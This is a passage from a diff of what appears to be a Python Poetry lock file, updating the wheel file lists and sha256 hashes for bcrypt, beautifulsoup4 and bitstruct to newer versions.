"bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a28bc05039bdf3289d757f49d616ab3efe8cf40d8e8001ccdd621cd4f98f4fc9"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:7f277a4b3390ab4bebe597800a90da0edae882c6196d3038a73adf446c4f969f"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:79cfa161eda8d2ddf29acad370356b47f02387153b11d46042e93a0a95127493"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a5393eae5722bcef046a990b84dff02b954904c36a194f6cfc817d7dca6c6f0b"}, + {file = "bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7f4c94dec1b5ab5d522750cb059bb9409ea8872d4494fd152b53cca99f1ddd8c"}, + {file = "bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0cae4cb350934dfd74c020525eeae0a5f79257e8a201c0c176f4b84fdbf2a4b4"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win32.whl", hash = "sha256:b17366316c654e1ad0306a6858e189fc835eca39f7eb2cafd6aaca8ce0c40a2e"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:92864f54fb48b4c718fc92a32825d0e42265a627f956bc0361fe869f1adc3e7d"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dd19cf5184a90c873009244586396a6a884d591a5323f0e8a5922560718d4993"}, + {file = "bcrypt-5.0.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:fc746432b951e92b58317af8e0ca746efe93e66555f1b40888865ef5bf56446b"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c2388ca94ffee269b6038d48747f4ce8df0ffbea43f31abfa18ac72f0218effb"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:560ddb6ec730386e7b3b26b8b4c88197aaed924430e7b74666a586ac997249ef"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d79e5c65dcc9af213594d6f7f1fa2c98ad3fc10431e7aa53c176b441943efbdd"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2b732e7d388fa22d48920baa267ba5d97cca38070b69c0e2d37087b381c681fd"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0c8e093ea2532601a6f686edbc2c6b2ec24131ff5c52f7610dd64fa4553b5464"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:5b1589f4839a0899c146e8892efe320c0fa096568abd9b95593efac50a87cb75"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:89042e61b5e808b67daf24a434d89bab164d4de1746b37a8d173b6b14f3db9ff"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:e3cf5b2560c7b5a142286f69bde914494b6d8f901aaa71e453078388a50881c4"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f632fd56fc4e61564f78b46a2269153122db34988e78b6be8b32d28507b7eaeb"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:801cad5ccb6b87d1b430f183269b94c24f248dddbbc5c1f78b6ed231743e001c"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3cf67a804fc66fc217e6914a5635000259fbbbb12e78a99488e4d5ba445a71eb"}, + {file = "bcrypt-5.0.0-cp38-abi3-win32.whl", hash = "sha256:3abeb543874b2c0524ff40c57a4e14e5d3a66ff33fb423529c88f180fd756538"}, + {file = "bcrypt-5.0.0-cp38-abi3-win_amd64.whl", hash = "sha256:35a77ec55b541e5e583eb3436ffbbf53b0ffa1fa16ca6782279daf95d146dcd9"}, + {file = "bcrypt-5.0.0-cp38-abi3-win_arm64.whl", hash = "sha256:cde08734f12c6a4e28dc6755cd11d3bdfea608d93d958fffbe95a7026ebe4980"}, + {file = "bcrypt-5.0.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0c418ca99fd47e9c59a301744d63328f17798b5947b0f791e9af3c1c499c2d0a"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ddb4e1500f6efdd402218ffe34d040a1196c072e07929b9820f363a1fd1f4191"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7aeef54b60ceddb6f30ee3db090351ecf0d40ec6e2abf41430997407a46d2254"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f0ce778135f60799d89c9693b9b398819d15f1921ba15fe719acb3178215a7db"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a71f70ee269671460b37a449f5ff26982a6f2ba493b3eabdd687b4bf35f875ac"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f8429e1c410b4073944f03bd778a9e066e7fad723564a52ff91841d278dfc822"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:edfcdcedd0d0f05850c52ba3127b1fce70b9f89e0fe5ff16517df7e81fa3cbb8"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:611f0a17aa4a25a69362dcc299fda5c8a3d4f160e2abb3831041feb77393a14a"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:db99dca3b1fdc3db87d7c57eac0c82281242d1eabf19dcb8a6b10eb29a2e72d1"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:5feebf85a9cefda32966d8171f5db7e3ba964b77fdfe31919622256f80f9cf42"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3ca8a166b1140436e058298a34d88032ab62f15aae1c598580333dc21d27ef10"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:61afc381250c3182d9078551e3ac3a41da14154fbff647ddf52a769f588c4172"}, + {file = "bcrypt-5.0.0-cp39-abi3-win32.whl", hash = "sha256:64d7ce196203e468c457c37ec22390f1a61c85c6f0b8160fd752940ccfb3a683"}, + {file = "bcrypt-5.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2"}, + {file = "bcrypt-5.0.0-cp39-abi3-win_arm64.whl", hash = "sha256:f2347d3534e76bf50bca5500989d6c1d05ed64b440408057a37673282c654927"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7edda91d5ab52b15636d9c30da87d2cc84f426c72b9dba7a9b4fe142ba11f534"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:046ad6db88edb3c5ece4369af997938fb1c19d6a699b9c1b27b0db432faae4c4"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:dcd58e2b3a908b5ecc9b9df2f0085592506ac2d5110786018ee5e160f28e0911"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:6b8f520b61e8781efee73cba14e3e8c9556ccfb375623f4f97429544734545b4"}, + {file = "bcrypt-5.0.0.tar.gz", hash = "sha256:f748f7c2d6fd375cc93d3fba7ef4a9e3a092421b8dbf34d8d4dc06be9492dfdd"}, ] [package.extras] @@ -290,14 +327,14 @@ typecheck = ["mypy"] [[package]] name = "beautifulsoup4" -version = "4.13.4" +version = "4.13.5" description = "Screen-scraping library" optional = false python-versions = ">=3.7.0" groups = ["main"] files = [ - {file = "beautifulsoup4-4.13.4-py3-none-any.whl", hash = "sha256:9bbbb14bfde9d79f38b8cd5f8c7c85f4b8f2523190ebed90e950a8dea4cb1c4b"}, - {file = "beautifulsoup4-4.13.4.tar.gz", hash = "sha256:dbb3c4e1ceae6aefebdaf2423247260cd062430a410e38c66f2baa50a8437195"}, + {file = "beautifulsoup4-4.13.5-py3-none-any.whl", hash = "sha256:642085eaa22233aceadff9c69651bc51e8bf3f874fb6d7104ece2beb24b47c4a"}, + {file = "beautifulsoup4-4.13.5.tar.gz", hash = "sha256:5e70131382930e7c3de33450a2f54a63d5e4b19386eab43a5b34d594268f3695"}, ] [package.dependencies] @@ -313,61 +350,90 @@ lxml = ["lxml"] [[package]] name = "bitstruct" -version = "8.20.0" +version = "8.22.1" description = "This module performs conversions between Python values and C bit field structs represented as Python byte strings." optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "bitstruct-8.20.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7a33169c25eef4f923f8a396ef362098216f527e83e44c7e726c126c084944ab"}, - {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7fec9cff575cdd9dafba9083fa8446203f32c7112af7a6748f315f974dcd418"}, - {file = "bitstruct-8.20.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:08835ebed9142babc39885fc0301f45fae9de7b1f3e78c1e3b4b5c2e20ff8d38"}, - {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:2b1735a9ae5ff82304b9f416051e986e3bffa76bc416811d598ee3e8e9b1f26c"}, - {file = "bitstruct-8.20.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9962bccebee15ec895fa8363ad4391e5314ef499b3e96af7d8ef6bf6e2f146ce"}, - {file = "bitstruct-8.20.0-cp310-cp310-win32.whl", hash = "sha256:5f3c88ae5d4e329cefecc66b18269dc27cd77f2537a8d506b31f8b874225a5cc"}, - {file = "bitstruct-8.20.0-cp310-cp310-win_amd64.whl", hash = "sha256:98640aeb709b67dcea79da7553668b96e9320ee7a11639c3fe422592727b1705"}, - {file = "bitstruct-8.20.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3be9192bff6accb6c2eb4edd355901fed1e64cc50de437015ee1469faab436a4"}, - {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9a2634563ed9c7229b0c6938a332b718e654f0494c2df87ee07f8074026ee68"}, - {file = "bitstruct-8.20.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4cf892b3c95393772eea4ab2a0e4ea2d7ec45742557488727bd6bfdd1d1e5007"}, - {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:fc4a841126e2d89fd3ef579c2d8b02f8af31b5973b947afb91450ae8adf5caa4"}, - {file = "bitstruct-8.20.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0fbf434f70f827318f2aaa68c6cf2fde58ab34a5ab1c6d9f0f4b9f953f058584"}, - {file = "bitstruct-8.20.0-cp311-cp311-win32.whl", hash = "sha256:0b0444a713f4f7e13927427e9ff5ed73bb4223c8074141adfc3e0bfbe63e092d"}, - {file = "bitstruct-8.20.0-cp311-cp311-win_amd64.whl", hash = "sha256:8271b3851657fe1066cb04ddc30e14a8492bdd18fa287514506af0801babd494"}, - {file = "bitstruct-8.20.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5df3ce5f4dd517be68e4b2d8ab37a564e12d5e24ec29039a3535281174a75284"}, - {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac0bb940fa9238c05796d45fb957ddf2e10d82ee8fd8cd43c5e367a9c380b24c"}, - {file = "bitstruct-8.20.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73eb7f0b6031c7819c12412c71af07cfac036da22a9245b7a1669a1f11fe1220"}, - {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:ea7b64a444bf592712593a9f3bf1cb37588fae257aeb40d2ea427e17ef3d690c"}, - {file = "bitstruct-8.20.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c4dad0231810bc3ef4e5154d6d6f7d62cc3efe2b9e9e6126002f105297284af3"}, - {file = "bitstruct-8.20.0-cp312-cp312-win32.whl", hash = "sha256:8ca1cc21ae72bbefee4471054e6a993b74f4571716eded73c3d3b6280dc831fd"}, - {file = "bitstruct-8.20.0-cp312-cp312-win_amd64.whl", hash = "sha256:b3732bed3c8b190dee071c2222304ef668f665fbdbeef19c9aeed50fbe1a3d48"}, - {file = "bitstruct-8.20.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b62fab3f38c09f5d61c83559cfc495b56de6dc424c3ccb1ff9f93457975b8c25"}, - {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c4df55aea3bf5c1970174191f04f575d657515b2ff26582e7a6475937b4e8176"}, - {file = "bitstruct-8.20.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f44afbce27ca0bd3fa96630c7a240bff167a7b66c05ac12ba9147ec001eee531"}, - {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c3d19f85935613a7db42f0e848e278d33ed2b18629dd5cc0e391d0ee8ddb54b"}, - {file = "bitstruct-8.20.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d3f29bb701916a8bb885ccc0de77c6c4b3eaf81652916b3d0bcd7dd9ebdab799"}, - {file = "bitstruct-8.20.0-cp313-cp313-win32.whl", hash = "sha256:a09f81cdeec264349a6e65597329a1cee461218b870f8113848126c2c6729025"}, - {file = "bitstruct-8.20.0-cp313-cp313-win_amd64.whl", hash = "sha256:31e33cc7db403cd2441d4d1968c57334b2489ffe123cfc30d26eedf11063288e"}, - {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:462f27fed30322c24007641ec2f2413a4778f564b30b45e3265f689cd84d43d7"}, - {file = "bitstruct-8.20.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7c547a2cba2a94076dec3ef72229be641bbc320cb676a028db45202abb405b02"}, - {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_i686.whl", hash = "sha256:aff38098efc9c6cbba8cd3f2b37aa8bf6169e3a53be2ec21c1c3166bdeae22d0"}, - {file = "bitstruct-8.20.0-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:31c64bf7ebda6d046fc3909287a6f7adcbbc1d1e50e463e3239798558f24bcfa"}, - {file = "bitstruct-8.20.0-cp37-cp37m-win32.whl", hash = "sha256:67e9b21a3a5ca247e31168a81da94a27763e7a34c80c847d9266209ec70294c2"}, - {file = "bitstruct-8.20.0-cp37-cp37m-win_amd64.whl", hash = "sha256:215acf2ecc2a65dcf4dec79d8e6ad98792d4ef4ae0b02aaf6b0dd678a6c11d02"}, - {file = "bitstruct-8.20.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:9dcbccadba78c9b3170db967a8559500e3eca821cd9f101a76c087cf01e1cdbd"}, - {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c6232fdf18689406369810a448181e9a2936f9d22707918394fc0cf5334c9fc1"}, - {file = "bitstruct-8.20.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7fe8c959beb3b9471bedc3af01467cedede72f2cf65614aa69a6651684926c4e"}, - {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:2adcd545a8f8a90a2e84a21edc5763f3d3832ebddb7cc687b7650221cddfc19a"}, - {file = "bitstruct-8.20.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:b3a4f0e443a9b4171b648b52c3003064cf31113f6203e08dc4ac225601d9249b"}, - {file = "bitstruct-8.20.0-cp38-cp38-win32.whl", hash = "sha256:5618eaab857db6dafa26751af5b8c926541ce578f36608e50fa687127682af3c"}, - {file = "bitstruct-8.20.0-cp38-cp38-win_amd64.whl", hash = "sha256:3eb8de0ad891b716ed97430e8b8603b6d875c5ddc5ebcd9c5288099c773a6bc9"}, - {file = "bitstruct-8.20.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:1a063deb6b7b07906414ac460c807e483b6eea662abcb406c4ea6e2938c8fc21"}, - {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0528f8da4cf919a3d4801603c4e5fc601b72b86955d37c51c8d7ddc69f291f0c"}, - {file = "bitstruct-8.20.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6ac783d0bc7c57bee2c8f8cda4c83d60236e7c046f6f454e76943f9e0fb16112"}, - {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:a0482f8e2b73df16d080d5d8df23e2949c114e27acfeb659f0465ef8ce1da038"}, - {file = "bitstruct-8.20.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:f6cc949e8030303b05728294b4feaca8c955150dd5042f66467da1dd18ff3410"}, - {file = "bitstruct-8.20.0-cp39-cp39-win32.whl", hash = "sha256:3e5195cfe68952587a2fcb621b2ee766e78f5d2d5a1e94204ac302e3d3f441bc"}, - {file = "bitstruct-8.20.0-cp39-cp39-win_amd64.whl", hash = "sha256:a7109b454a8cccc55e88165a903e5d9980e39f6f5268dc5ec5386ae96a89ff1b"}, - {file = "bitstruct-8.20.0.tar.gz", hash = "sha256:f6b16a93097313f2a6c146640c93e5f988a39c33364f8c20a4286ac1c5ed5dae"}, + {file = "bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979"}, + {file = "bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109"}, + {file = "bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea"}, + {file = "bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01"}, + {file = "bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece"}, + {file = "bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe"}, + {file = "bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e"}, + {file = "bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381"}, + {file = "bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581"}, + {file = "bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994"}, + {file = "bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149"}, + {file = "bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6"}, + {file = "bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997"}, + {file = "bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a"}, + {file = "bitstruct-8.22.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:32f8ffe2f26f25dc4339e9c69acf2ba7ada877a377111bd2b1f6a8804953b51a"}, + {file = "bitstruct-8.22.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:02bddf1893550a6e7e6fefb7065a222e1b10447f903cac4fbff38766df35712a"}, + {file = "bitstruct-8.22.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:3e829b10672f5ea5ed60f9d835cc2f3c2e1190448429051719600a2f6d891a0a"}, + {file = "bitstruct-8.22.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:956a3998e5e031bc2d1c2312afb9f714ec6131621c40123d3bb79ff1b69b82a8"}, + {file = "bitstruct-8.22.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:fa74a1b7426f94d1a4917944164230ef34aa85e5a01164d6dbc150a71f90c2ca"}, + {file = "bitstruct-8.22.1-cp311-cp311-win32.whl", hash = "sha256:8fd1b73c9c2c613c385f9f4fd9feaabedf88c1c740bff25a4738b1c6a70d4111"}, + {file = "bitstruct-8.22.1-cp311-cp311-win_amd64.whl", hash = "sha256:419e3ce7d1d89a809a7d966d72de16cb869bd3fe80b587e5bc7cf80debd7df8d"}, + {file = "bitstruct-8.22.1-cp311-cp311-win_arm64.whl", hash = "sha256:6e548bfc4e289cacae704458ac51c6c76188c305701bd14f3f4fec600fce58e8"}, + {file = "bitstruct-8.22.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:18ff3842c89596f88307f458696ebdcbd4af718af9f0f2cad863102387200b26"}, + {file = "bitstruct-8.22.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:837629e72aaf247ee214d19ae0580571c2ba0ddeb3144dff12f7014cb8f3d94d"}, + {file = "bitstruct-8.22.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2bef6f3309b39880e6f5ea4f274899062a3511eb630563858a8be6332c332eac"}, + {file = "bitstruct-8.22.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:5958ea7f61c45e6d769bcbd0f4357cb91f1ba5cbea9323855a1c45d8bcd03b34"}, + {file = "bitstruct-8.22.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f965015d75e7cc949dff3783f82378a135fe67ac549a41d7b90eb0abf06fa81d"}, + {file = "bitstruct-8.22.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:88573f965ce5042113e236c74fdec828abfdabec3d1cceda1e9766c86de74978"}, + {file = "bitstruct-8.22.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:ec6eaf863c85d99fe3cdc6426c77f03320ff42d0905810cef73499f92c388a30"}, + {file = "bitstruct-8.22.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6aeee6bfcdcf0d158cae706b1fe20f42c97b06bd778eca794aa097973e782c31"}, + {file = "bitstruct-8.22.1-cp312-cp312-win32.whl", hash = "sha256:275aeaf08bf3967ed7afa568c5d9726af17ff4b558f1d82e1c587118cad988c3"}, + {file = "bitstruct-8.22.1-cp312-cp312-win_amd64.whl", hash = "sha256:4d5bb7484ff55a18d4cc1370b9e4cd94893e2ec33d9eb985c313c1cbdca756e6"}, + {file = "bitstruct-8.22.1-cp312-cp312-win_arm64.whl", hash = "sha256:a38e90197bd1bc87863e5180c5556af71528ad03940d41e7a74d602c2255c4ba"}, + {file = "bitstruct-8.22.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ef0d8476eb20f1b0a46ffe0b85eaef8eac98005d6f758ed083e05ba26c404a19"}, + {file = "bitstruct-8.22.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:84ec7804eb606545fd6fcf2bac3a795737239fdc989faad88850a483a2b2af7a"}, + {file = "bitstruct-8.22.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6fe6c4f4cbc2f5bc173d34538b5fe529b0fdd1e30e5d0a56cd7b108cc32d803d"}, + {file = "bitstruct-8.22.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:356d89faf20264c72d0328b30a38a618c6b65db429b91cbd34f67dbc97dd42a6"}, + {file = "bitstruct-8.22.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:98251f43c2991aa3bf660806b501cf94367dbdcc9c7461cc0cdc9724ddc7bb27"}, + {file = "bitstruct-8.22.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e753de82211d29aaa70f35af6a2d7f027f7487342e24dc98691575dbb2d2761f"}, + {file = "bitstruct-8.22.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:7065a241e9d282d6a62556fead7da369c1827a26ceb3eedd377113a021121a5d"}, + {file = "bitstruct-8.22.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:453043525cf86751868c76f9a32a92786ffbafbd0a48ae7fd2bedc012fa45ee9"}, + {file = "bitstruct-8.22.1-cp313-cp313-win32.whl", hash = "sha256:264cd11f52e1b5f513cee6c01c75bcefdf8b7b4c2b1c78f8efa35ef268c033a6"}, + {file = "bitstruct-8.22.1-cp313-cp313-win_amd64.whl", hash = "sha256:c4eecefb86b0762a2741f5f6810aac258a5dea58c288a331e972ce615ed3e2b7"}, + {file = "bitstruct-8.22.1-cp313-cp313-win_arm64.whl", hash = "sha256:3db208565632f5579db254d78df77fc930cb0b23ca6f09151c948785146adda5"}, + {file = "bitstruct-8.22.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:098f6b66f89e3bbe320dd31b55094b02c51f365a8ee8f75c0c99e98833eae6a8"}, + {file = "bitstruct-8.22.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:2c5b1ef022b0d690b6707464ee1bfd394c79f9a9ef4e765faf1168056fa21337"}, + {file = "bitstruct-8.22.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b94cb01f327e8154c4300fc690a69fd1d856064cbcc5b0bf2e8c2f090e40a5c7"}, + {file = "bitstruct-8.22.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8b8f262edb37b1bbf37581f29f64e8e879b87101e07257e56ba47b5d797a3364"}, + {file = "bitstruct-8.22.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f89b5a8057dff42383829f6fce9aadeba619c151685a90e0faf4ab53e940224b"}, + {file = "bitstruct-8.22.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:10321fc31368eeaecb78a34b5dd5071749243fc3ce426ff3bb2e4038bfd11454"}, + {file = "bitstruct-8.22.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:3f13a7df190dc54dddff97de7d2a8d1069e4022469e1d7aa66ae10f4eee04d3b"}, + {file = "bitstruct-8.22.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:bc084f5a7a8b258668ebde5e914a4c0290d496612161472eef079d469e49227e"}, + {file = "bitstruct-8.22.1-cp314-cp314-win32.whl", hash = "sha256:ae701de781999fa4eac2242bc8b4525c267ed17d8025291c57c6f1bf1a85b6c0"}, + {file = "bitstruct-8.22.1-cp314-cp314-win_amd64.whl", hash = "sha256:f5acccd329319e9c9f1e03a4b3fd6b91a6e58ab1810932b1c6dafa64891d569b"}, + {file = "bitstruct-8.22.1-cp314-cp314-win_arm64.whl", hash = 